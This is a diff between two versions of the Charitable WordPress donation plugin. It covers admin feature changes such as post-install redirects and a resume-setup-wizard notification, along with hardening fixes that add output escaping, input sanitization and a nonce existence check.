panels.\n \t\t *\n \t\t * @since 1.0.0\n+\t\t * @version 1.8.10.5 Added Form panel (Lite upgrade-prompt stub).\n \t\t *\u002F\n \t\tpublic function load_panels() {\n \n@@ -1176,6 +1193,7 @@\n \t\t\t\tarray(\n \t\t\t\t\t'template',\n \t\t\t\t\t'design',\n+\t\t\t\t\t'form',\n \t\t\t\t\t'settings',\n \t\t\t\t\t'marketing',\n \t\t\t\t\t'payment',\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Fcampaign-builder\u002Fpanels: class-form.php\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Fcharitable-core-admin-functions.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Fcharitable-core-admin-functions.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Fcharitable-core-admin-functions.php\t2026-03-17 18:06:48.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Fcharitable-core-admin-functions.php\t2026-05-11 23:16:48.000000000 +0000\n@@ -1208,13 +1208,23 @@\n \t\t\t\u002F\u002F attempt to activate the installed addon, save the user a step.\n \t\t\t$activate = activate_plugins( $plugin_basename );\n \t\t\tif ( ! is_wp_error( $activate ) ) {\n-\t\t\t\twp_send_json_success(\n-\t\t\t\t\tarray(\n-\t\t\t\t\t\t'basename'     => $plugin_basename,\n-\t\t\t\t\t\t'is_activated' => true,\n-\t\t\t\t\t\t'msg'          => esc_html__( 'Addon installed and activated.', 'charitable' ),\n-\t\t\t\t\t)\n+\t\t\t\t$response = array(\n+\t\t\t\t\t'basename'     => $plugin_basename,\n+\t\t\t\t\t'is_activated' => true,\n+\t\t\t\t\t'msg'          => esc_html__( 'Addon installed and activated.', 'charitable' ),\n \t\t\t\t);\n+\n+\t\t\t\t\u002F\u002F When Charitable Pro is what was just installed and activated, point\n+\t\t\t\t\u002F\u002F the user at the Charitable dashboard. Activating Pro auto-deactivates\n+\t\t\t\t\u002F\u002F Lite, which means the addons screen they're currently on (served by\n+\t\t\t\t\u002F\u002F Lite) no longer exists in the menu — without a redirect they'd land\n+\t\t\t\t\u002F\u002F on a 404 \u002F blank admin page once the AJAX returns. Pro's main file\n+\t\t\t\t\u002F\u002F lives at charitable-pro\u002Fcharitable.php, so we match by directory.\n+\t\t\t\tif ( 0 === strpos( $plugin_basename, 'charitable-pro\u002F' ) ) {\n+\t\t\t\t\t$response['redirect'] = admin_url( 'admin.php?page=charitable-dashboard' );\n+\t\t\t\t}\n+\n+\t\t\t\twp_send_json_success( $response );\n \t\t\t} else {\n \t\t\t\twp_send_json_success(\n \t\t\t\t\tarray(\n@@ -1530,6 +1540,22 @@\n \t\t\u002F\u002F add a 'dismissed' key to the notification with the current time.\n \t\t$notifications[ $notification_id ]['dismissed'] = time();\n \t\tupdate_option( 'charitable_dashboard_notifications', $notifications );\n+\n+\t\t\u002F**\n+\t\t * Fires after a dashboard rail notification has been dismissed.\n+\t\t *\n+\t\t * Listeners can attach side effects keyed off the dismissed slug —\n+\t\t * e.g. the resume-setup-wizard module clears\n+\t\t * `charitable_started_onboarding` when its banner is dismissed,\n+\t\t * so the underlying onboarding state is also turned off, not just\n+\t\t * the banner.\n+\t\t *\n+\t\t * @since 1.8.10.5\n+\t\t *\n+\t\t * @param string $notification_id Slug of the dismissed notification.\n+\t\t *\u002F\n+\t\tdo_action( 'charitable_dashboard_notification_dismissed', $notification_id );\n+\n \t\twp_send_json_success( array( 'message' => esc_html__( 'Notification removed.', 'charitable' ) ) );\n \t} else {\n \t\twp_send_json_error( array( 'message' => esc_html__( 'Notification not found.', 'charitable' ) ) );\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Fclass-charitable-admin.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Fclass-charitable-admin.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Fclass-charitable-admin.php\t2026-01-07 16:49:56.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Fclass-charitable-admin.php\t2026-05-11 23:16:48.000000000 +0000\n@@ -569,7 +569,7 @@\n \t\t\tif ( ! is_null( $screen ) && ( $screen->id === 'charitable_page_charitable-reports' || $screen->id === 'charitable_page_charitable-dashboard' ) ) {\n \n \t\t\t\t\u002F\u002F Specific styles for the \"overview\" and main reporting tabs.\n-\t\t\t\tif ( empty( $_GET['tab'] ) || ( ! empty( $_GET['tab'] && charitable_reports_allow_tab_load_scripts( strtolower( $_GET['tab'] ) ) ) ) ) { \u002F\u002F phpcs:ignore\n+\t\t\t\tif ( empty( $_GET['tab'] ) || ( ! empty( $_GET['tab'] ) && charitable_reports_allow_tab_load_scripts( strtolower( sanitize_text_field( wp_unslash( $_GET['tab'] ) ) ) ) ) ) { \u002F\u002F phpcs:ignore\n \n \t\t\t\t\twp_register_script(\n \t\t\t\t\t\t'charitable-apex-charts',\n@@ -619,7 +619,7 @@\n \t\t\t\t\twp_enqueue_script( 'charitable-report-date-range-picker' );\n \t\t\t\t\twp_enqueue_script( 'charitable-reporting' );\n \n-\t\t\t\t} else if ( ! empty( $_GET['tab'] && 'analytics' === $_GET['tab'] ) ) { \u002F\u002F phpcs:ignore\n+\t\t\t\t} elseif ( ! empty( $_GET['tab'] ) && 'analytics' === $_GET['tab'] ) { \u002F\u002F phpcs:ignore\n \n \t\t\t\t\t\u002F\u002F this loads a specific script for the analytics tab.\n \t\t\t\t\tdo_action( 'charitable_admin_enqueue_analytics_scripts' );\n@@ -1258,7 +1258,7 @@\n \t\t *\u002F\n \t\tpublic function export_donations() {\n \n-\t\t\tif ( ! wp_verify_nonce( $_GET['_charitable_export_nonce'], 'charitable_export_donations' ) ) { \u002F\u002F phpcs:ignore\n+\t\t\tif ( ! isset( $_GET['_charitable_export_nonce'] ) || ! wp_verify_nonce( $_GET['_charitable_export_nonce'], 'charitable_export_donations' ) ) { \u002F\u002F phpcs:ignore\n \t\t\t\treturn false;\n \t\t\t}\n \n@@ -1581,6 +1581,20 @@\n \t\t\t\twp_send_json_success( array( 'form' => $form ) );\n \t\t\t}\n \n+\t\t\t\u002F\u002F Snapshot installed plugins BEFORE the install so we can identify what\n+\t\t\t\u002F\u002F was actually unzipped. The legacy slug-derivation in\n+\t\t\t\u002F\u002F charitable_get_plugin_basename_from_slug() reduces a download URL like\n+\t\t\t\u002F\u002F `…\u002Fcharitable-pro-plugin-1.8.13.5.zip` to the slug\n+\t\t\t\u002F\u002F `charitable-pro-plugin-1.8.13.5`, then expects an installed plugin\n+\t\t\t\u002F\u002F directory whose name *starts* with that slug — which doesn't hold for\n+\t\t\t\u002F\u002F any addon whose zip filename includes a version suffix and whose\n+\t\t\t\u002F\u002F directory does not (e.g. Charitable Pro lives at `charitable-pro\u002F`).\n+\t\t\t\u002F\u002F The before\u002Fafter diff sidesteps that mismatch entirely.\n+\t\t\tif ( ! function_exists( 'get_plugins' ) ) {\n+\t\t\t\trequire_once ABSPATH . 'wp-admin\u002Fincludes\u002Fplugin.php';\n+\t\t\t}\n+\t\t\t$plugins_before = array_keys( get_plugins() );\n+\n \t\t\t\u002F\u002F Download and install the plugin.\n \t\t\t$result = charitable_install_wporg_plugin( $plugin );\n \n@@ -1588,11 +1602,21 @@\n \t\t\t\twp_send_json_error( $result->get_error_message() );\n \t\t\t}\n \n-\t\t\t\u002F\u002F Get plugin basename.\n-\t\t\t$plugin_basename = charitable_get_plugin_basename_from_slug( $plugin );\n+\t\t\t\u002F\u002F Force a fresh re-scan of the plugins directory and compute the diff.\n+\t\t\twp_cache_delete( 'plugins', 'plugins' );\n+\t\t\t$plugins_after   = array_keys( get_plugins() );\n+\t\t\t$newly_installed = array_values( array_diff( $plugins_after, $plugins_before ) );\n+\n+\t\t\tif ( ! empty( $newly_installed ) ) {\n+\t\t\t\t$plugin_basename = $newly_installed[0];\n+\t\t\t} else {\n+\t\t\t\t\u002F\u002F Fallback to the legacy slug-derived guess if for some reason no new\n+\t\t\t\t\u002F\u002F plugin was detected (e.g. the zip overwrote an existing install).\n+\t\t\t\t$plugin_basename = charitable_get_plugin_basename_from_slug( $plugin );\n+\t\t\t}\n \n \t\t\twp_send_json_success( array(\n-\t\t\t\t'msg'         => 'Plugin installed successfully',\n+\t\t\t\t'msg'         => __( 'Plugin installed successfully', 'charitable' ),\n \t\t\t\t'basename'    => $plugin_basename,\n \t\t\t\t'is_activated' => false,\n \t\t\t) );\n@@ -1635,7 +1659,17 @@\n \t\t\t\twp_send_json_error( $result->get_error_message() );\n \t\t\t}\n \n-\t\t\twp_send_json_success( 'Plugin activated successfully' );\n+\t\t\t$response = array( 'msg' => __( 'Plugin activated successfully', 'charitable' ) );\n+\n+\t\t\t\u002F\u002F Activating Charitable Pro auto-deactivates Charitable Lite, which means\n+\t\t\t\u002F\u002F the screen the user came from (page=charitable-addons, served by Lite)\n+\t\t\t\u002F\u002F no longer exists in the menu. Redirect them to the Charitable dashboard\n+\t\t\t\u002F\u002F so they don't land on a 404 \u002F blank admin page after the AJAX returns.\n+\t\t\tif ( 0 === strpos( $plugin, 'charitable-pro\u002F' ) ) {\n+\t\t\t\t$response['redirect'] = admin_url( 'admin.php?page=charitable-dashboard' );\n+\t\t\t}\n+\n+\t\t\twp_send_json_success( $response );\n \t\t}\n \n \t\t\u002F**\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard-ajax.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard-ajax.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard-ajax.php\t2026-01-01 16:41:46.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard-ajax.php\t2026-05-11 23:16:48.000000000 +0000\n@@ -97,9 +97,10 @@\n \t\t\t\t$clear_cache = ( isset( $_GET['charitable_clear_stats_cache'] ) && '1' === $_GET['charitable_clear_stats_cache'] ) ||\n \t\t\t\t\t\t\t   ( isset( $_POST['charitable_clear_stats_cache'] ) && '1' === $_POST['charitable_clear_stats_cache'] );\n \n+\t\t\t\t$response_data = array();\n+\n \t\t\t\tif ( $clear_cache ) { \u002F\u002F phpcs:ignore\n \t\t\t\t\t$charitable_dashboard->clear_dashboard_stats_cache();\n-\t\t\t\t\t\u002F\u002F Add a flag to indicate cache was cleared\n \t\t\t\t\t$response_data['cache_cleared'] = true;\n \t\t\t\t}\n \n@@ -135,10 +136,10 @@\n \t\t\t\t);\n \n \t\t\t\t\u002F\u002F Prepare response data.\n-\t\t\t\t$response_data = array(\n+\t\t\t\t$response_data = array_merge( $response_data, array(\n \t\t\t\t\t'stats' => $stats,\n \t\t\t\t\t'chart' => $chart_data,\n-\t\t\t\t);\n+\t\t\t\t) );\n \n \t\t\t\twp_send_json_success( $response_data );\n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php\t2026-03-17 18:06:48.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php\t2026-05-11 23:16:48.000000000 +0000\n@@ -77,6 +77,52 @@\n \n \t\t\t\u002F\u002F Hook into Charitable's cache clearing mechanism\n \t\t\tadd_action( 'charitable_after_clear_expired_options', array( $this, 'clear_dashboard_stats_cache' ) );\n+\n+\t\t\t\u002F\u002F Refresh the \"resume setup wizard\" notification entry just before\n+\t\t\t\u002F\u002F the dashboard rail renders.\n+\t\t\tadd_action( 'charitable_before_admin_dashboard_v2', array( $this, 'sync_resume_wizard_notification' ) );\n+\t\t}\n+\n+\t\t\u002F**\n+\t\t * Register or refresh the \"resume setup wizard\" entry in the dashboard\n+\t\t * notification rail when an onboarding session is in progress; remove\n+\t\t * any stale entry when it isn't.\n+\t\t *\n+\t\t * Fires on `charitable_before_admin_dashboard_v2`, immediately before\n+\t\t * `render_dashboard_notifications()` reads the same option.\n+\t\t *\n+\t\t * @since 1.8.10.5\n+\t\t *\n+\t\t * @return void\n+\t\t *\u002F\n+\t\tpublic function sync_resume_wizard_notification() {\n+\n+\t\t\t$notifications = (array) get_option( 'charitable_dashboard_notifications', array() );\n+\t\t\t$started       = 1 === (int) get_option( 'charitable_started_onboarding', 0 );\n+\t\t\t$present       = isset( $notifications['resume_setup_wizard'] );\n+\t\t\t$dismissed     = $present && isset( $notifications['resume_setup_wizard']['dismissed'] );\n+\n+\t\t\tif ( $started && ! $dismissed ) {\n+\n+\t\t\t\t$notifications['resume_setup_wizard'] = array(\n+\t\t\t\t\t'type'        => 'notice',\n+\t\t\t\t\t'priority'    => 3,\n+\t\t\t\t\t'title'       => __( 'Finish Setting Up Charitable', 'charitable' ),\n+\t\t\t\t\t'message'     => '\u003Cp>' . esc_html__( \"Looks like you started the setup wizard but didn't finish. Pick up where you left off and we'll have you ready to accept donations in just a couple more steps.\", 'charitable' ) . '\u003C\u002Fp>',\n+\t\t\t\t\t'custom_css'  => 'charitable-notification-type-notice',\n+\t\t\t\t\t'button_url'  => add_query_arg( array( 'resume' => 'true' ), charitable_get_onboarding_url() ),\n+\t\t\t\t\t'button_text' => __( 'Resume Setup Wizard', 'charitable' ),\n+\t\t\t\t);\n+\n+\t\t\t\tupdate_option( 'charitable_dashboard_notifications', $notifications );\n+\n+\t\t\t\treturn;\n+\t\t\t}\n+\n+\t\t\tif ( $present && ! $started ) {\n+\t\t\t\tunset( $notifications['resume_setup_wizard'] );\n+\t\t\t\tupdate_option( 'charitable_dashboard_notifications', $notifications );\n+\t\t\t}\n \t\t}\n \n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php\t2026-02-24 20:25:10.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php\t2026-05-11 23:16:48.000000000 +0000\n@@ -136,6 +136,10 @@\n \t\t *\u002F\n \t\tpublic function hooks() {\n \n+\t\t\t\u002F\u002F Register the resume-banner dismiss listener unconditionally — it\n+\t\t\t\u002F\u002F must fire during admin-ajax, which the guards below bail out of.\n+\t\t\tadd_action( 'charitable_dashboard_notification_dismissed', [ $this, 'maybe_clear_onboarding_state_on_dismiss' ] );\n+\n \t\t\t\u002F\u002F If user is in admin ajax or doing cron, return.\n \t\t\tif ( wp_doing_ajax() || wp_doing_cron() ) {\n \t\t\t\treturn;\n@@ -208,15 +212,21 @@\n \t\t\t\treturn;\n \t\t\t}\n \n-\t\t\t\u002F\u002F Don't redirect if user is on a non-Charitable admin page.\n-\t\t\tif ( ! empty( $_GET['page'] ) && strpos( $_GET['page'], 'charitable' ) === false ) {\n+\t\t\t\u002F\u002F Don't redirect when the user is on any Charitable admin page\n+\t\t\t\u002F\u002F OTHER than the welcome destination (`?page=charitable`).\n+\t\t\t\u002F\u002F Charitable's sub-pages — `charitable-dashboard`, `charitable-settings-checklist`,\n+\t\t\t\u002F\u002F etc. — each have their own menu_slug, so strict equality keeps the\n+\t\t\t\u002F\u002F redirect scoped to `?page=charitable` itself (which IS the welcome\n+\t\t\t\u002F\u002F screen) rather than yanking the user back from every sub-page.\n+\t\t\tif ( ! empty( $_GET['page'] ) && is_string( $_GET['page'] ) && 'charitable' !== $_GET['page'] ) { \u002F\u002F phpcs:ignore WordPress.Security.NonceVerification.Recommended\n \t\t\t\treturn;\n \t\t\t}\n \n-\t\t\t\u002F\u002F Don't redirect from specific WordPress admin pages without page parameter.\n-\t\t\t$current_page = basename( $_SERVER['PHP_SELF'] ?? '' );\n-\t\t\t$wp_admin_pages = array( 'edit.php', 'post-new.php', 'upload.php', 'users.php', 'edit-tags.php', 'edit-comments.php', 'themes.php', 'plugins.php', 'tools.php', 'options-general.php' );\n-\t\t\tif ( in_array( $current_page, $wp_admin_pages ) ) {\n+\t\t\t\u002F\u002F Don't redirect from standard WordPress admin scripts that don't\n+\t\t\t\u002F\u002F use a `?page=` parameter (e.g. the WP Dashboard, CPT lists, media library).\n+\t\t\t$current_page   = basename( $_SERVER['PHP_SELF'] ?? '' );\n+\t\t\t$wp_admin_pages = array( 'index.php', 'edit.php', 'post-new.php', 'upload.php', 'users.php', 'edit-tags.php', 'edit-comments.php', 'themes.php', 'plugins.php', 'tools.php', 'options-general.php' );\n+\t\t\tif ( in_array( $current_page, $wp_admin_pages, true ) ) {\n \t\t\t\treturn;\n \t\t\t}\n \n@@ -236,13 +246,41 @@\n \t\t\t}\n \n \t\t\t\u002F\u002F Build the URL for going back to the onboarding process.\n-\t\t\t$onboarding_url = 'https:\u002F\u002Fapp.wpcharitable.com\u002Fsetup-wizard-charitable_lite&resume=' . charitable_get_site_token();\n+\t\t\t$onboarding_url = add_query_arg( array( 'resume' => 'true' ), charitable_get_onboarding_url() );\n \n \t\t\twp_safe_redirect( admin_url( 'admin.php?page=charitable&wpchar_lite=lite&setup=welcome&resume=true' ) );\n \t\t\texit;\n \t\t}\n \n \t\t\u002F**\n+\t\t * Clear the in-progress onboarding flag when the user dismisses the\n+\t\t * dashboard \"resume setup wizard\" banner.\n+\t\t *\n+\t\t * Triggered by the existing notification rail's dismiss AJAX. The\n+\t\t * action fires for ALL dismissed notifications, so we filter on slug\n+\t\t * here.\n+\t\t *\n+\t\t * Net effect: dismissing the banner ends the resume prompt everywhere.\n+\t\t * The banner is gone (the rail's existing dismissed-key filter handles\n+\t\t * that), and the `?page=charitable` resume redirect also defuses\n+\t\t * because it keys off the same option we delete here.\n+\t\t *\n+\t\t * @since 1.8.10.5\n+\t\t *\n+\t\t * @param string $notification_id Slug of the dismissed notification.\n+\t\t *\n+\t\t * @return void\n+\t\t *\u002F\n+\t\tpublic function maybe_clear_onboarding_state_on_dismiss( $notification_id ) {\n+\n+\t\t\tif ( 'resume_setup_wizard' !== $notification_id ) {\n+\t\t\t\treturn;\n+\t\t\t}\n+\n+\t\t\tdelete_option( 'charitable_started_onboarding' );\n+\t\t}\n+\n+\t\t\u002F**\n \t\t * Onboarding welcome screen redirect.\n \t\t *\n \t\t * This function checks if a new install or update has just occurred. If so,\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Freports\u002Fclass-charitable-reports.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Freports\u002Fclass-charitable-reports.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Freports\u002Fclass-charitable-reports.php\t2026-02-03 18:30:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Freports\u002Fclass-charitable-reports.php\t2026-05-11 23:16:48.000000000 +0000\n@@ -375,7 +375,7 @@\n \t\t\t\t\t\t\t\t\u003Cp class=\"cr\">\u003C?php echo esc_html__( 'Goal', 'charitable' ); ?>: \u003Cstrong>\u003C?php echo charitable_format_money( $donation_goal ); \u002F\u002F phpcs:ignore ?>\u003C\u002Fstrong>\u003C\u002Fp>\n \t\t\t\t\t\t\t\t\u003C?php endif; ?>\n \t\t\t\t\t\t\t\t\u003C?php if ( $end_date ) : ?>\n-\t\t\t\t\t\t\t\t\u003Cp class=\"cr\">\u003C?php echo esc_html__( 'End Date', 'charitable' ); ?>: \u003Cstrong>\u003C?php echo $end_date; \u002F\u002F phpcs:ignore ?>\u003C\u002Fstrong>\u003C\u002Fp>\n+\t\t\t\t\t\t\t\t\u003Cp class=\"cr\">\u003C?php echo esc_html__( 'End Date', 'charitable' ); ?>: \u003Cstrong>\u003C?php echo esc_html( $end_date ); ?>\u003C\u002Fstrong>\u003C\u002Fp>\n \t\t\t\t\t\t\t\t\u003C?php endif; ?>\n \t\t\t\t\t\t\t\u003C\u002Fdiv>\n \t\t\t\t\t\t\u003C\u002Fdiv>\n@@ -761,13 +761,13 @@\n \t\t\t\tcase 'charitable-failed':\n \t\t\t\t\t$admin_campaign_url = ! empty( $activity->campaign_id ) ? charitable_get_admin_campaign_edit_url( $activity->campaign_id ) : '#';\n \t\t\t\t\t$admin_donation_url = ! empty( $activity->item_id ) ? charitable_get_admin_donation_edit_url( $activity->item_id ) : false;\n-\t\t\t\t\t$campaign_title     = ! empty( $activity->campaign_title ) ? ' to \u003Ca target=\"_blank\" href=\"' . $admin_campaign_url . '\">\u003Cspan class=\"campaign-title\">' . $activity->campaign_title . '\u003C\u002Fspan>\u003C\u002Fa> ' : '';\n+\t\t\t\t\t$campaign_title     = ! empty( $activity->campaign_title ) ? ' to \u003Ca target=\"_blank\" href=\"' . $admin_campaign_url . '\">\u003Cspan class=\"campaign-title\">' . esc_html( $activity->campaign_title ) . '\u003C\u002Fspan>\u003C\u002Fa> ' : '';\n \t\t\t\t\t$secondary_info     = $admin_donation_url ? '\u003Cp class=\"charitable-reports-activity-secondary-info amount\">\u003Ca href=\"' . $admin_donation_url . '\" target=\"_blank\">' . charitable_format_money( $activity->amount, 2, true ) . '\u003C\u002Fa>' . $campaign_title . '\u003C\u002Fp>' : '\u003Cp class=\"charitable-reports-activity-secondary-info amount\">' . charitable_format_money( $activity->amount, 2, true ) . $campaign_title . '\u003C\u002Fp>';\n \t\t\t\t\tbreak;\n \t\t\t\tdefault:\n \t\t\t\t\t$admin_campaign_url = ! empty( $activity->campaign_id ) ? charitable_get_admin_campaign_edit_url( $activity->campaign_id ) : '#';\n \t\t\t\t\t$admin_donation_url = ! empty( $activity->item_id ) ? charitable_get_admin_donation_edit_url( $activity->item_id ) : false;\n-\t\t\t\t\t$campaign_title     = ! empty( $activity->campaign_title ) ? ' to \u003Ca target=\"_blank\" href=\"' . $admin_campaign_url . '\">\u003Cspan class=\"campaign-title\">' . $activity->campaign_title . '\u003C\u002Fspan>\u003C\u002Fa> ' : '';\n+\t\t\t\t\t$campaign_title     = ! empty( $activity->campaign_title ) ? ' to \u003Ca target=\"_blank\" href=\"' . $admin_campaign_url . '\">\u003Cspan class=\"campaign-title\">' . esc_html( $activity->campaign_title ) . '\u003C\u002Fspan>\u003C\u002Fa> ' : '';\n \t\t\t\t\t$secondary_info     = $admin_donation_url ? '\u003Cp class=\"charitable-reports-activity-secondary-info amount\">\u003Ca href=\"' . $admin_donation_url . '\" target=\"_blank\">' . charitable_format_money( $activity->amount, 2, true ) . '\u003C\u002Fa>' . $campaign_title . '\u003C\u002Fp>' : '\u003Cp class=\"charitable-reports-activity-secondary-info amount\">' . charitable_format_money( $activity->amount, 2, true ) . $campaign_title . '\u003C\u002Fp>';\n \t\t\t\t\tbreak;\n \t\t\t}\n@@ -790,10 +790,10 @@\n \n \t\t\tswitch ( $activity->primary_action ) {\n \t\t\t\tcase 'update':\n-\t\t\t\t\t$secondary_info = '\u003Cp class=\"campaign-title\">' . $activity->campaign_title . '\u003C\u002Fp>';\n+\t\t\t\t\t$secondary_info = '\u003Cp class=\"campaign-title\">' . esc_html( $activity->campaign_title ) . '\u003C\u002Fp>';\n \t\t\t\t\tbreak;\n \t\t\t\tdefault:\n-\t\t\t\t\t$secondary_info = '\u003Cp class=\"campaign-title\">' . $activity->campaign_title . '\u003C\u002Fp>';\n+\t\t\t\t\t$secondary_info = '\u003Cp class=\"campaign-title\">' . esc_html( $activity->campaign_title ) . '\u003C\u002Fp>';\n \t\t\t\t\tbreak;\n \t\t\t}\n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Fsettings\u002Fclass-charitable-advanced-settings.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Fsettings\u002Fclass-charitable-advanced-settings.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Fsettings\u002Fclass-charitable-advanced-settings.php\t2025-06-20 16:28:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Fsettings\u002Fclass-charitable-advanced-settings.php\t2026-05-11 23:16:48.000000000 +0000\n@@ -238,6 +238,9 @@\n \t\t\t$empty_transient = new \\stdClass();\n \t\t\tset_site_transient( 'update_plugins', $empty_transient ); \u002F\u002F Depreciated item.\n \n+\t\t\t\u002F\u002F Clear Stripe webhook failure counter so stale notices don't persist after fixing the root cause.\n+\t\t\tdelete_transient( 'charitable_stripe_webhook_verification_failures' );\n+\n \t\t\t\u002F\u002F Allow an addon to hook into this.\n \t\t\tdo_action( 'charitable_after_clear_expired_options' );\n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php\t2026-02-19 20:09:36.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php\t2026-05-11 23:16:48.000000000 +0000\n@@ -234,134 +234,187 @@\n \t\tpublic function retrieve_sections_for_user( array $sections = array() ): array {\n \n \t\t\t$sections = array(\n+\t\t\t\t\u002F\u002F Hero: Mini Donation Widget upsell with Vimeo video.\n+\t\t\t\tarray(\n+\t\t\t\t\t'new-for-pro' => true,\n+\t\t\t\t\t'layout'      => 'fifty-fifty',\n+\t\t\t\t\t'class'       => 'no-order',\n+\t\t\t\t\t'title'       => __( 'Mini Donation Widget', 'charitable' ),\n+\t\t\t\t\t'content'     => __( 'Embed a compact donation form anywhere on your site, no page redirect required. Add it to sidebars, landing pages, or any widget area using a simple block or shortcode.', 'charitable' ),\n+\t\t\t\t\t'video'       => array(\n+\t\t\t\t\t\t'vimeo_id' => 